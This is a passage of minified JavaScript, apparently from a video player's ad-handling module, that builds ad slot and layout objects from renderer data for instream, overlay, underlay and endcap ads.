xq&&new tx(xq),new O7(F),new xt(J),new fO(z),new GX(X),V&&new r8(V),new RH({current:null}),new hx({}),new QC(O)].filter(KiJ)),FV:Y(WX),adLayoutLoggingData:C}};
else throw new TypeError("Expected valid AdPlacementRenderer for DAI");var m=X5D(x,u,t.adSlotLoggingData,l);Z.push(m);for(var d=g.S(e),M=d.next();!M.done;M=d.next()){var A=M.value,R=A(x,H);if(R instanceof w)return R;Z.push.apply(Z,g.U(R))}}catch(Y){return new w(Y,{errorMessage:Y.message,AdPlacementRenderer:t,numberOfSurveyRenderers:xlv(t)})}return Z};
xlv=function(x){x=(x.renderer.linearAdSequenceRenderer||{}).linearAds;return x!=null&&x.length?x.filter(function(T){var t,u;return((t=g.N(T,jA))==null?void 0:(u=t.playerOverlay)==null?void 0:u.instreamSurveyAdRenderer)!=null}).length:0};
On4=function(x,T,t,u,H,I,E){var Z=T.config.adPlacementConfig,e=f73(Z),l=e.dj,m=e.PP;e=(T.renderer.linearAdSequenceRenderer||{}).linearAds;if(e==null||!e.length)throw new TypeError("Expected linear ads");var d=[],M={q9:l,xK:0,yp9:d};e=e.map(function(R){return oQq(x,R,M,t,u,Z,H,m,E)}).map(function(R,Y){Y=new UO(Y,d);
return R(Y)});
var A=e.map(function(R){return R.LR});
return{zx:tG4(t,x,l,A,Z,w53(T),u,m,I),D0y:e.map(function(R){return R.QTW})}};
oQq=function(x,T,t,u,H,I,E,Z,e){var l=fx(g.N(T,jA),e),m=t.q9,d=t.xK,M=Math.min(m+l.videoLengthSeconds*1E3,Z);t.q9=M;t.xK++;t.yp9.push(l.videoLengthSeconds);var A,R,Y=(A=g.N(T,jA))==null?void 0:(R=A.playerOverlay)==null?void 0:R.instreamSurveyAdRenderer;if(l.adVideoId==="nPpU29QrbiU"&&Y==null)throw new TypeError("Survey slate media has no survey overlay");return function(b){yr(l.playerVars,b);var z,F,V=l.videoLengthSeconds,B=l.playerVars,D=l.uN,f=l.Fl,O=l.instreamAdPlayerOverlayRenderer,sH=l.playerOverlayLayoutRenderer,
HX=l.adVideoId,xq=(z=g.N(T,jA))==null?void 0:z.adLayoutLoggingData;z=(F=g.N(T,jA))==null?void 0:F.sodarExtensionData;F=On(u.Z.get(),"LAYOUT_TYPE_MEDIA",x);var J={layoutId:F,layoutType:"LAYOUT_TYPE_MEDIA",Yc:"adapter"};b={layoutId:F,layoutType:"LAYOUT_TYPE_MEDIA",uN:D,layoutExitNormalTriggers:[],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"adapter",clientMetadata:new sn([new TX(E),new Yt(V),new Uv(B),new zX(m),new kt(M),new F7(d),new RH({current:null}),
O&&new oH(O),sH&&new tx(sH),new O7(I),new xt(HX),new fO(b),z&&new r8(z),Y&&new Cc(Y),new hx({}),new QC(f)].filter(KiJ)),FV:H(J),adLayoutLoggingData:xq};V=p5H(g.N(T,jA),I,E,b.layoutId,u);return{LR:b,QTW:V}}};
fx=function(x,T){if(!x)throw new TypeError("Expected instream video ad renderer");if(!x.playerVars)throw new TypeError("Expected player vars in url encoded string");var t=o6(x.playerVars),u=Number(t.length_seconds);if(isNaN(u))throw new TypeError("Expected valid length seconds in player vars");var H=Number(x.trimmedMaxNonSkippableAdDurationMs);u=isNaN(H)?u:Math.min(u,H/1E3);H=x.playerOverlay||{};H=H.instreamAdPlayerOverlayRenderer===void 0?null:H.instreamAdPlayerOverlayRenderer;var I=x.playerOverlay||
{};I=I.playerOverlayLayoutRenderer===void 0?null:I.playerOverlayLayoutRenderer;var E=t.video_id;E||(E=(E=x.externalVideoId)?E:void 0);if(!E)throw new TypeError("Expected valid video id in IVAR");if(T&&u===0){var Z;T=(Z=sOv[E])!=null?Z:u}else T=u;return{playerVars:t,videoLengthSeconds:T,instreamAdPlayerOverlayRenderer:H,playerOverlayLayoutRenderer:I,adVideoId:E,uN:x.pings?r6(x.pings):new Map,Fl:bB(x.pings)}};
w53=function(x){x=Number(x.driftRecoveryMs);return isNaN(x)||x<=0?null:x};
f73=function(x){var T=x.adTimeOffset||{};x=T.offsetEndMilliseconds;T=Number(T.offsetStartMilliseconds);if(isNaN(T))throw new TypeError("Expected valid start offset");x=Number(x);if(isNaN(x))throw new TypeError("Expected valid end offset");return{dj:T,PP:x}};
uS4=function(x){var T,t=(T=uS(x.clientMetadata,"metadata_type_player_bytes_callback_ref"))==null?void 0:T.current;if(!t)return null;T=uS(x.clientMetadata,"metadata_type_ad_pod_skip_target_callback_ref");var u=x.layoutId,H=uS(x.clientMetadata,"metadata_type_content_cpn"),I=uS(x.clientMetadata,"metadata_type_instream_ad_player_overlay_renderer"),E=uS(x.clientMetadata,"metadata_type_player_underlay_renderer"),Z=uS(x.clientMetadata,"metadata_type_ad_placement_config"),e=uS(x.clientMetadata,"metadata_type_video_length_seconds");
var l=xv(x.clientMetadata,"metadata_type_layout_enter_ms")&&xv(x.clientMetadata,"metadata_type_layout_exit_ms")?(uS(x.clientMetadata,"metadata_type_layout_exit_ms")-uS(x.clientMetadata,"metadata_type_layout_enter_ms"))/1E3:void 0;return{gt:u,contentCpn:H,rJ:t,LG:T,instreamAdPlayerOverlayRenderer:I,instreamAdPlayerUnderlayRenderer:E,adPlacementConfig:Z,videoLengthSeconds:e,Ol:l,inPlayerLayoutId:uS(x.clientMetadata,"metadata_type_linked_in_player_layout_id"),inPlayerSlotId:uS(x.clientMetadata,"metadata_type_linked_in_player_slot_id")}};
iOC=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A,R){u=d6(u,"SLOT_TYPE_PLAYER_BYTES");x=$lJ(H,x,E,t,u,e,l);if(x instanceof w)return x;var Y;l=(Y=uS(x.clientMetadata,"metadata_type_fulfilled_layout"))==null?void 0:Y.layoutId;if(!l)return new w("Invalid adNotify layout");T=HO5(l,H,I,t,Z,T,e,m,d,M,A,R,E);return T instanceof w?T:[x].concat(g.U(T))};
HO5=function(x,T,t,u,H,I,E,Z,e,l,m,d,M){t=IlJ(T,t,u,I,E,Z,e,l,m,d,M);if(t instanceof w)return t;x=EQv(T,x,E,H,t);return x instanceof w?x:[].concat(g.U(x.nF),[x.Tu])};
ZOC=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A){T=IlJ(x,T,t,H,I,Z,e,l,m,d,M,A);if(T instanceof w)return T;x=q7i(x,t,I,E,u,Z.B9,T);return x instanceof w?x:x.nF.concat(x.Tu)};
IlJ=function(x,T,t,u,H,I,E,Z,e,l,m,d){var M=wz(u,t,l);return M instanceof th?new w(M):l.U.Y().experiments.aU("html5_refactor_in_player_slot_generation")?function(A){var R=new UO(0,[M.E9]);A=jOf(T,M.layoutId,M.A8,t,Kx(M.playerVars,M.Iw,I,e,R),M.E9,H,R,E(A),Z.get(M.A8.externalVideoId),d);R=[];if(M.A8.playerOverlay.instreamAdPlayerOverlayRenderer){var Y=uS4(A);if(!Y)return E3("Expected MediaLayout to carry valid data to create InPlayerSlot and PlayerOverlayForMediaLayout",void 0,A),{layout:A,nF:[]};
R=[eQJ(x,Y.contentCpn,Y.gt,function(z){return XA(T,z.slotId,"core",Y,qN(m,z))},Y.inPlayerSlotId)].concat(g.U(R));
if(Y.instreamAdPlayerUnderlayRenderer&&xs(l)){var b=Y.instreamAdPlayerUnderlayRenderer;R=[ll5(x,Y.contentCpn,Y.gt,function(z){return mlf(T,z.slotId,b,Y.adPlacementConfig,Y.gt,qN(m,z))})].concat(g.U(R))}}return{layout:A,
nF:R}}:function(A){var R=new UO(0,[M.E9]);
return{layout:jOf(T,M.layoutId,M.A8,t,Kx(M.playerVars,M.Iw,I,e,R),M.E9,H,R,E(A),Z.get(M.A8.externalVideoId),d),nF:[]}}};
wz=function(x,T,t){if(!x.playerVars)return new th("No playerVars available in InstreamVideoAdRenderer.");var u,H;if(x.elementId==null||x.playerVars==null||x.playerOverlay==null||((u=x.playerOverlay)==null?void 0:u.instreamAdPlayerOverlayRenderer)==null&&((H=x.playerOverlay)==null?void 0:H.playerOverlayLayoutRenderer)==null||x.pings==null||x.externalVideoId==null)return new th("Received invalid VOD InstreamVideoAdRenderer",{instreamVideoAdRenderer:x});u=o6(x.playerVars);H=Number(u.length_seconds);
isNaN(H)&&(H=0,E3("Expected valid length seconds in player vars but got NaN"));if(t.T3(T.kind==="AD_PLACEMENT_KIND_START")){if(x.layoutId===void 0)return new th("Expected server generated layout ID in instreamVideoAdRenderer");T=x.layoutId}else T=x.elementId;return{layoutId:T,A8:x,playerVars:u,Iw:x.playerVars,E9:H}};
Kx=function(x,T,t,u,H){x.iv_load_policy=u;T=o6(T);if(T.cta_conversion_urls)try{x.cta_conversion_urls=JSON.parse(T.cta_conversion_urls)}catch(I){E3(I)}t.xz&&(x.ctrl=t.xz);t.pU&&(x.ytr=t.pU);t.w$&&(x.ytrcc=t.w$);t.isMdxPlayback&&(x.mdx="1");x.vvt&&(x.vss_credentials_token=x.vvt,t.Hh&&(x.vss_credentials_token_type=t.Hh),t.mdxEnvironment&&(x.mdx_environment=t.mdxEnvironment));yr(x,H);return x};
dlX=function(x){var T=new Map;x=g.S(x);for(var t=x.next();!t.done;t=x.next())(t=t.value.renderer.remoteSlotsRenderer)&&t.hostElementId&&T.set(t.hostElementId,t);return T};
Tz=function(x){return x.adSlotMetadata.slotType==="SLOT_TYPE_PLAYER_BYTES"};
MG3=function(x){return x!=null};
UlV=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A){for(var R=[],Y=g.S(x),b=Y.next();!b.done;b=Y.next())if(b=b.value,!q63(b)&&!miC(b)){var z=Tz(b)&&!!b.slotEntryTrigger.beforeContentVideoIdStartedTrigger,F=e.T3(z),V=Adm(b,l,u,t.Mg,F);if(V instanceof w)return V;var B=void 0,D={slotId:b.adSlotMetadata.slotId,slotType:b.adSlotMetadata.slotType,slotPhysicalPosition:(B=b.adSlotMetadata.slotPhysicalPosition)!=null?B:1,Yc:"core",slotEntryTrigger:V.slotEntryTrigger,slotFulfillmentTriggers:V.slotFulfillmentTriggers,
slotExpirationTriggers:V.slotExpirationTriggers},f=g.N(b.fulfillmentContent.fulfilledLayout,UF);if(f){if(!YY(f))return new w("Invalid PlayerBytesAdLayoutRenderer");B=d&&!(Tz(b)&&b.slotEntryTrigger.beforeContentVideoIdStartedTrigger);V=V.slotFulfillmentTriggers.some(function(O){return O instanceof Gf});
F=B?RQm(D,b.adSlotMetadata.triggerEvent,f,t,u,I,l,x,F,M,V,A):P13(D,b.adSlotMetadata.triggerEvent,f,T,t,u,H,I,E,Z,e,l,x,m,F,b.adSlotMetadata.triggeringSourceLayoutId);if(F instanceof w)return F;V=[];Tz(b)&&V.push(new Kc({hK:Tz(b)&&!!b.slotEntryTrigger.beforeContentVideoIdStartedTrigger}));B&&V.push(new hx({}));t.B9&&V.push(new Jx({}));V.push(new fc(z));b=Object.assign({},D,{clientMetadata:new sn(V),fulfilledLayout:F.layout,adSlotLoggingData:b.adSlotMetadata.adSlotLoggingData});R.push.apply(R,g.U(F.nF));
R.push(b)}else if(z=g.N(b.fulfillmentContent.fulfilledLayout,kY)){if(!Egi(z))return new w("Invalid PlayerUnderlayAdLayoutRenderer");z=S7J(z,u,t.Mg,I,D,b.adSlotMetadata.triggerEvent,b.adSlotMetadata.triggeringSourceLayoutId);if(z instanceof w)return z;b=Object.assign({},D,{clientMetadata:new sn([]),fulfilledLayout:z,adSlotLoggingData:b.adSlotMetadata.adSlotLoggingData});R.push(b)}else if(z=g.N(b.fulfillmentContent.fulfilledLayout,jfH)){if(!TKH(z))return new w("Invalid AboveFeedAdLayoutRenderer");z=
cd3(z,u,t.Mg,I,D,b.adSlotMetadata.triggerEvent,b.adSlotMetadata.triggeringSourceLayoutId);if(z instanceof w)return z;b=Object.assign({},D,{clientMetadata:new sn([]),fulfilledLayout:z,adSlotLoggingData:b.adSlotMetadata.adSlotLoggingData});R.push(b)}else if(z=g.N(b.fulfillmentContent.fulfilledLayout,e1V)){if(!TO(z.adLayoutMetadata)||!g.N(z.renderingContent,oj))return new w("Invalid BelowPlayerAdLayoutRenderer");z=cd3(z,u,t.Mg,I,D,b.adSlotMetadata.triggerEvent,b.adSlotMetadata.triggeringSourceLayoutId);
if(z instanceof w)return z;b=Object.assign({},D,{clientMetadata:new sn([]),fulfilledLayout:z,adSlotLoggingData:b.adSlotMetadata.adSlotLoggingData});R.push(b)}else if(z=g.N(b.fulfillmentContent.fulfilledLayout,FA)){if(!bC(z))return new w("Invalid PlayerBytesSequenceItemAdLayoutRenderer");z=Y7f(z,u,t.Mg,I,D,b.adSlotMetadata.triggerEvent);if(z instanceof w)return z;b=Object.assign({},D,{clientMetadata:new sn([]),fulfilledLayout:z,adSlotLoggingData:b.adSlotMetadata.adSlotLoggingData});R.push(b)}else return new w("Unable to retrieve a client slot ["+
D.slotType+"] from a given AdSlotRenderer")}return R};
Y7f=function(x,T,t,u,H,I){var E={layoutId:x.adLayoutMetadata.layoutId,layoutType:x.adLayoutMetadata.layoutType,Yc:"core"};T=o8(x,T,t);return T instanceof w?T:Object.assign({},E,{renderingContent:x.renderingContent,uN:r6(x.renderingContent.pings)},T,{FV:qN(u,H)(E),clientMetadata:new sn([new O7(tb(I))]),adLayoutLoggingData:x.adLayoutMetadata.adLayoutLoggingData})};
cd3=function(x,T,t,u,H,I,E){var Z={layoutId:x.adLayoutMetadata.layoutId,layoutType:x.adLayoutMetadata.layoutType,Yc:"core"};T=o8(x,T,t);if(T instanceof w)return T;t=[];t.push(new O7(tb(I)));I==="SLOT_TRIGGER_EVENT_LAYOUT_ID_ENTERED"&&E!==void 0&&t.push(new et(E));return Object.assign({},Z,{renderingContent:x.renderingContent,uN:new Map([["impression",bOV(x)]])},T,{FV:qN(u,H)(Z),clientMetadata:new sn(t),adLayoutLoggingData:x.adLayoutMetadata.adLayoutLoggingData})};
S7J=function(x,T,t,u,H,I,E){if(x.adLayoutMetadata.layoutType==="LAYOUT_TYPE_DISMISSABLE_PANEL_TEXT_PORTRAIT_IMAGE")if(E=g.N(x.renderingContent,rz))if(E=g.N(E.sidePanel,inH)){var Z={layoutId:x.adLayoutMetadata.layoutId,layoutType:x.adLayoutMetadata.layoutType,Yc:"core"};T=o8(x,T,t);x=T instanceof w?T:Object.assign({},Z,{renderingContent:x.renderingContent,uN:new Map([["impression",E.impressionPings||[]],["resume",E.resumePings||[]]])},T,{FV:qN(u,H)(Z),clientMetadata:new sn([new O7(tb(I))]),adLayoutLoggingData:x.adLayoutMetadata.adLayoutLoggingData})}else x=
new w("DismissablePanelTextPortraitImageRenderer is missing");else x=new w("SqueezebackPlayerSidePanelRenderer is missing");else x.adLayoutMetadata.layoutType==="LAYOUT_TYPE_DISPLAY_TRACKING"?g.N(x.renderingContent,upq)?(E={layoutId:x.adLayoutMetadata.layoutId,layoutType:x.adLayoutMetadata.layoutType,Yc:"core"},T=o8(x,T,t),x=T instanceof w?T:Object.assign({},E,{renderingContent:x.renderingContent,uN:new Map},T,{FV:qN(u,H)(E),clientMetadata:new sn([new O7(tb(I))]),adLayoutLoggingData:x.adLayoutMetadata.adLayoutLoggingData})):
x=new w("CounterfactualRenderer is missing"):x.adLayoutMetadata.layoutType==="LAYOUT_TYPE_PANEL_QR_CODE"?x=new w("PlayerUnderlaySlot cannot be created because adUxReadyApiProvider is null"):x.adLayoutMetadata.layoutType==="LAYOUT_TYPE_PANEL_QR_CODE_CAROUSEL"?x=new w("PlayerUnderlaySlot cannot be created because adUxReadyApiProvider is null"):x.adLayoutMetadata.layoutType==="LAYOUT_TYPE_DISPLAY_UNDERLAY_TEXT_GRID_CARDS"?g.N(x.renderingContent,zO)?(I={layoutId:x.adLayoutMetadata.layoutId,layoutType:x.adLayoutMetadata.layoutType,
Yc:"core"},T=o8(x,T,t),x=T instanceof w?T:E?Object.assign({},I,{renderingContent:x.renderingContent,uN:new Map},T,{FV:qN(u,H)(I),clientMetadata:new sn([new et(E)]),adLayoutLoggingData:x.adLayoutMetadata.adLayoutLoggingData}):new w("Not able to parse an SDF PlayerUnderlay layout because the triggeringMediaLayoutId in AdSlotMetadata is missing")):x=new w("DisplayUnderlayTextGridCardsLayoutViewModel is missing"):x.adLayoutMetadata.layoutType==="LAYOUT_TYPE_VIDEO_AD_INFO"?g.N(x.renderingContent,$i3)?
(I={layoutId:x.adLayoutMetadata.layoutId,layoutType:x.adLayoutMetadata.layoutType,Yc:"core"},T=o8(x,T,t),x=T instanceof w?T:Object.assign({},I,{renderingContent:x.renderingContent,uN:new Map([])},T,{FV:qN(u,H)(I),adLayoutLoggingData:x.adLayoutMetadata.adLayoutLoggingData,clientMetadata:new sn([])})):x=new w("AdsEngagementPanelSectionListViewModel is missing"):x=new w("LayoutType ["+x.adLayoutMetadata.layoutType+"] is invalid for PlayerUnderlaySlot");return x};
RQm=function(x,T,t,u,H,I,E,Z,e,l,m,d){if((d==null?void 0:d.CA)===void 0||(d==null?void 0:d.Sm)===void 0)return new w("Cached ad break range from cue point is missing");var M=o8(t,H,u.Mg);if(M instanceof w)return M;M={layoutExitMuteTriggers:[],layoutExitNormalTriggers:M.layoutExitNormalTriggers,layoutExitSkipTriggers:[],Aq:[],layoutExitUserInputSubmittedTriggers:[]};if(g.N(t.renderingContent,jA))return x=rd5(x,T,t,M,H,I,Z,e,u.Mg,E,d.CA,d.Sm),x instanceof w?x:x.Wt===void 0?new w("Expecting associatedInPlayerSlot for single DAI media layout"):
{layout:x.layout,nF:[x.Wt]};var A=g.N(t.renderingContent,qJ);if(A){if(!TO(t.adLayoutMetadata))return new w("Invalid ad layout metadata");if(!Zh(A))return new w("Invalid sequential layout");A=A.sequentialLayouts.map(function(R){return R.playerBytesAdLayoutRenderer});
x=zQ3(x,T,t,M,A,H,u,I,E,e,Z,l,d.CA,d.Sm,m);return x instanceof w?x:{layout:x.aL,nF:x.nF}}return new w("Not able to convert a sequential layout")};
zQ3=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A,R){var Y=k_f(H,M,A);if(Y instanceof w)return Y;var b=[],z=[];Y=g.S(Y);for(var F=Y.next();!F.done;F=Y.next()){var V=F.value;F=x;var B=H[V.xK],D=V,f=T;V=I;var O=E,sH=Z,HX=e,xq=l,J=m,X=s8(B);if(X instanceof w)F=X;else{var c={layoutId:B.adLayoutMetadata.layoutId,layoutType:B.adLayoutMetadata.layoutType,Yc:"adapter"};D=FsD(f,B,D,V);D instanceof w?F=D:(F=Object.assign({},c,un,{uN:X,renderingContent:B.renderingContent,clientMetadata:new sn(D),FV:qN(sH,F)(c),adLayoutLoggingData:B.adLayoutMetadata.adLayoutLoggingData}),
F=(B=$s(J,F,V,O.Mg,sH,HX,xq,void 0,!0))?B instanceof w?B:{layout:F,Wt:B}:new w("Expecting associatedInPlayerSlot"))}if(F instanceof w)return F;b.push(F.layout);z.push(F.Wt)}H={layoutId:t.adLayoutMetadata.layoutId,layoutType:t.adLayoutMetadata.layoutType,Yc:"core"};T=[new GX(Number(t.driftRecoveryMs)),new zX(M),new kt(A),new O7(tb(T)),new Ov(d),new hx({})];R&&T.push(new X7({}));return{aL:Object.assign({},H,u,{RC:b,uN:new Map,clientMetadata:new sn(T),FV:qN(Z,x)(H)}),nF:z}};
rd5=function(x,T,t,u,H,I,E,Z,e,l,m,d){if(!YY(t))return new w("Invalid PlayerBytesAdLayoutRenderer");var M=s8(t);if(M instanceof w)return M;var A={layoutId:t.adLayoutMetadata.layoutId,layoutType:t.adLayoutMetadata.layoutType,Yc:"core"},R=g.N(t.renderingContent,jA);if(!R)return new w("Invalid rendering content for DAI media layout");R=fx(R,!1);m={r8:R,xK:0,q9:m,FC:Math.min(m+R.videoLengthSeconds*1E3,d),CT:new UO(0,[R.videoLengthSeconds])};var Y;d=(Y=Number(t.driftRecoveryMs))!=null?Y:void 0;T=FsD(T,
t,m,H,d);if(T instanceof w)return T;x=Object.assign({},A,u,{uN:M,renderingContent:t.renderingContent,clientMetadata:new sn(T),FV:qN(I,x)(A),adLayoutLoggingData:t.adLayoutMetadata.adLayoutLoggingData});return(H=$s(E,x,H,e,I,l,Z,void 0,!0))?H instanceof w?H:{layout:x,Wt:H}:new w("Expecting associatedInPlayerSlot")};
P13=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A,R,Y){var b=o8(t,I,H.Mg);if(b instanceof w)return b;if(g.N(t.renderingContent,jA)){e=hQ3([t],H,e);if(e instanceof w)return e;if(e.length!==1)return new w("Only expected one media layout.");x=vQV(x,T,t,b,e[0],void 0,"core",u,I,E,Z,l,M,A,R,H.Mg,d,void 0,Y);return x instanceof w?x:{layout:x.layout,nF:x.Wt?[x.Wt]:[]}}var z=g.N(t.renderingContent,qJ);if(z){if(!TO(t.adLayoutMetadata))return new w("Invalid ad layout metadata");if(!Zh(z))return new w("Invalid sequential layout");
z=z.sequentialLayouts.map(function(F){return F.playerBytesAdLayoutRenderer});
x=VGD(x,T,t.adLayoutMetadata,b,z,u,I,H,e,E,Z,l,m,d,R,M,A,Y);return x instanceof w?x:{layout:x.aL,nF:x.nF}}return new w("Not able to convert a sequential layout")};
VGD=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A,R,Y,b,z){var F=new XS({current:null}),V=hQ3(H,Z,e);if(V instanceof w)return V;e=[];for(var B=[],D=void 0,f=0;f<H.length;f++){var O=H[f];if(g.N(O.renderingContent,jA)){D=Li(M)&&ni(M)?V[f+1]:void 0;D=vQV(x,T,O,un,V[f],D,"adapter",I,E,l,m,d,Y,b,R,Z.Mg,A,F,z);if(D instanceof w)return D;e.push(D.layout);D.Wt&&B.push(D.Wt);D=V[f]}else if(g.N(O.renderingContent,eA)){var sH=x,HX=m;if(YY(O)){var xq=g.N(O.renderingContent,eA);if(xq&&xq.playerVars!==void 0){var J={layoutId:O.adLayoutMetadata.layoutId,
layoutType:O.adLayoutMetadata.layoutType,Yc:"adapter"};xq=o6(xq.playerVars);xq.autoplay="1";O=Object.assign({},J,un,{renderingContent:O.renderingContent,clientMetadata:new sn([new vl({}),new O7({kind:"AD_PLACEMENT_KIND_START"}),new RH({current:null}),new Uv(xq)]),uN:new Map,FV:qN(HX,sH)(J),adLayoutLoggingData:O.adLayoutMetadata.adLayoutLoggingData})}else O=new w("Invalid ad intro renderer")}else O=new w("Invalid PlayerBytesAdLayoutRenderer");if(O instanceof w)return O;e.push(O)}else if(g.N(O.renderingContent,
Eq))if(b){O=G_5(x,O,m,tb(T),D);if(O instanceof w)return O;e.push(O);O=$s(Y,O,E,Z.Mg,m,A,R,F,!1);if(O instanceof w)return O;if(O)B.push(O);else return new w("Not able to retrieve InPlayer slot for endcap")}else{a:{sH=O.adLayoutMetadata.layoutId;HX=g.S(I);for(J=HX.next();!J.done;J=HX.next()){J=J.value;var X=xq=void 0,c=((xq=J.renderer)==null?void 0:(X=xq.linearAdSequenceRenderer)==null?void 0:X.linearAds)||[];xq=g.S(c);for(X=xq.next();!X.done;X=xq.next())if((X=g.N(X.value,Eq))&&X.inPlayerSlotId!==void 0&&
X.inPlayerLayoutId!==void 0&&X.associatedPlayerBytesLayoutId!==void 0&&X.associatedPlayerBytesLayoutId===sH){sH={NG:X,adPlacementConfig:J.config.adPlacementConfig};break a}}sH=new w("Not able to find associated InPlayer slot for endcap")}if(sH instanceof w)return sH;O=G_5(x,O,m,sH.adPlacementConfig,D);if(O instanceof w)return O;e.push(O);O=LsD(O.layoutId,A,E,sH,F,m);if(O instanceof w)return O;B.push(O)}}T={layoutId:t.layoutId,layoutType:t.layoutType,Yc:"core"};return{aL:Object.assign({},T,u,{RC:e,
uN:new Map,clientMetadata:new sn([F]),FV:qN(m,x)(T)}),nF:B}};
vQV=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A,R,Y,b,z,F){if(!YY(t))return new w("Invalid PlayerBytesAdLayoutRenderer");var V=s8(t);if(V instanceof w)return V;E={layoutId:t.adLayoutMetadata.layoutId,layoutType:t.adLayoutMetadata.layoutType,Yc:E};a:{var B=t.adLayoutMetadata.layoutId,D=g.N(t.renderingContent,jA);if(D&&EF(D)){var f=[];if(A)f.push(new O7(tb(T)));else{b:{Z=g.S(Z);for(T=Z.next();!T.done;T=Z.next()){T=T.value;var O=BKV(T.renderer)||[],sH=g.S(O);for(O=sH.next();!O.done;O=sH.next())if(O=O.value,
O.associatedPlayerBytesLayoutId===B){O.associatedPlayerBytesLayoutId?(Z=O.playerOverlay,sH=Z!==void 0&&Z.playerOverlayLayoutRenderer!==void 0&&Z.playerOverlayLayoutRenderer.inPlayerSlotId!==void 0&&Z.playerOverlayLayoutRenderer.inPlayerLayoutId!==void 0,Z=Z!==void 0&&Z.instreamAdPlayerOverlayRenderer!==void 0&&Z.instreamAdPlayerOverlayRenderer.inPlayerSlotId!==void 0&&Z.instreamAdPlayerOverlayRenderer.inPlayerLayoutId!==void 0||sH):Z=!1;T=Z?{instreamVideoAdRenderer:O,adPlacementConfig:T.config.adPlacementConfig}:
new w("Invalid InPlayer shim");break b}}T=new w("Not able to find associated InPlayer slot")}if(T instanceof w){I=T;break a}Z=T.instreamVideoAdRenderer.playerOverlay.instreamAdPlayerOverlayRenderer;O=T.instreamVideoAdRenderer.playerOverlay.playerOverlayLayoutRenderer;var HX;sH=(HX=Z==null?void 0:Z.inPlayerSlotId)!=null?HX:O==null?void 0:O.inPlayerSlotId;var xq;HX=(xq=Z==null?void 0:Z.inPlayerLayoutId)!=null?xq:O==null?void 0:O.inPlayerLayoutId;if(sH===void 0){I=new w("InPlayer shim slot id is undefined");
break a}if(HX===void 0){I=new w("InPlayer shim layout id is undefined");break a}f.push(new l0(HX),new Mc(sH),new F7(H.CT.adPodIndex),new O7(T.adPlacementConfig));Z&&f.push(new oH(Z));O&&f.push(new tx(O))}f.push(new fO(H.CT),new xt(D.externalVideoId),new TX(e),new Nc({impressionCommands:D.impressionCommands,abandonCommands:D.onAbandonCommands,completeCommands:D.completeCommands,progressCommands:D.adVideoProgressCommands}),new Uv(H.qh),new RH({current:null}),new Yt(H.NNm.E9),new QC(bB(D.pings)),new w3(H.CT.adPodIndex));
F&&f.push(new et(F));(H=nQH(B,M))&&f.push(new $t(H));I&&f.push(new b0(I.qh));D.adNextParams&&f.push(new WC(D.adNextParams));D.clickthroughEndpoint&&f.push(new Dl(D.clickthroughEndpoint));D.legacyInfoCardVastExtension&&f.push(new D4(D.legacyInfoCardVastExtension));D.sodarExtensionData&&f.push(new r8(D.sodarExtensionData));z&&D.adPodSkipTarget&&D.adPodSkipTarget>0&&(f.push(z),f.push(new KO(D.adPodSkipTarget)));(I=l.get(D.externalVideoId))&&f.push(new g8(I));I=f}else I=new w("Invalid vod media renderer")}if(I instanceof
w)return I;x=Object.assign({},E,u,{uN:V,renderingContent:t.renderingContent,clientMetadata:new sn(I),FV:qN(m,x)(E),adLayoutLoggingData:t.adLayoutMetadata.adLayoutLoggingData});t=g.N(t.renderingContent,jA);if(!t||!EF(t))return new w("Invalid meida renderer");d=J4(d,t.externalVideoId);d.instreamVideoAdRenderer=t;d.Il="AD_PLACEMENT_KIND_START";return A?(e=$s(M,x,e,Y,m,b,R,z,!1),e instanceof w?e:nQH(x.layoutId,M)&&e?{layout:Object.assign({},x,{clientMetadata:new sn(I.concat(new Hl(e)))})}:{layout:x,Wt:e}):
{layout:x}};
G_5=function(x,T,t,u,H){if(!YY(T))return new w("Invalid PlayerBytesAdLayoutRenderer");var I=g.N(T.renderingContent,Eq);if(!I||I.durationMilliseconds===void 0)return new w("Invalid endcap renderer");var E={layoutId:T.adLayoutMetadata.layoutId,layoutType:T.adLayoutMetadata.layoutType,Yc:"adapter"};u=[new Wl(I.durationMilliseconds),new Nc({impressionCommands:void 0,abandonCommands:I.abandonCommands?[{commandExecutorCommand:I.abandonCommands}]:void 0,completeCommands:I.completionCommands}),new O7(u),
new d8("LAYOUT_TYPE_ENDCAP")];if(H){u.push(new w3(H.CT.adPodIndex-1));u.push(new F7(H.CT.adPodIndex));var Z;u.push(new KO((Z=H.adPodSkipTarget)!=null?Z:-1))}return Object.assign({},E,un,{renderingContent:T.renderingContent,clientMetadata:new sn(u),uN:I.skipPings?new Map([["skip",I.skipPings]]):new Map,FV:qN(t,x)(E),adLayoutLoggingData:T.adLayoutMetadata.adLayoutLoggingData})};
$s=function(x,T,t,u,H,I,E,Z,e){x=x.filter(function(m){return m.adSlotMetadata.slotType==="SLOT_TYPE_IN_PLAYER"&&m.adSlotMetadata.triggeringSourceLayoutId===T.layoutId});
if(x.length!==0){if(x.length!==1)return new w("Invalid InPlayer slot association for the given PlayerBytes layout");x=x[0];E=Adm(x,I,t,u,E);if(E instanceof w)return E;var l;I={slotId:x.adSlotMetadata.slotId,slotType:x.adSlotMetadata.slotType,slotPhysicalPosition:(l=x.adSlotMetadata.slotPhysicalPosition)!=null?l:1,Yc:"core",slotEntryTrigger:E.slotEntryTrigger,slotFulfillmentTriggers:E.slotFulfillmentTriggers,slotExpirationTriggers:E.slotExpirationTriggers};l=g.N(x.fulfillmentContent.fulfilledLayout,
Znf);if(!l||!tSq(l))return new w("Invalid InPlayerAdLayoutRenderer");E={layoutId:l.adLayoutMetadata.layoutId,layoutType:l.adLayoutMetadata.layoutType,Yc:"core"};t=o8(l,t,u);if(t instanceof w)return t;u=[];e&&u.push(new hx({}));if(l.adLayoutMetadata.layoutType==="LAYOUT_TYPE_MEDIA_LAYOUT_PLAYER_OVERLAY")u.push.apply(u,g.U(al3(x.adSlotMetadata.triggerEvent,T)));else if(l.adLayoutMetadata.layoutType==="LAYOUT_TYPE_ENDCAP")u.push(new O7(tb(x.adSlotMetadata.triggerEvent))),Z&&u.push(Z);else return new w("Not able to parse an SDF InPlayer layout");
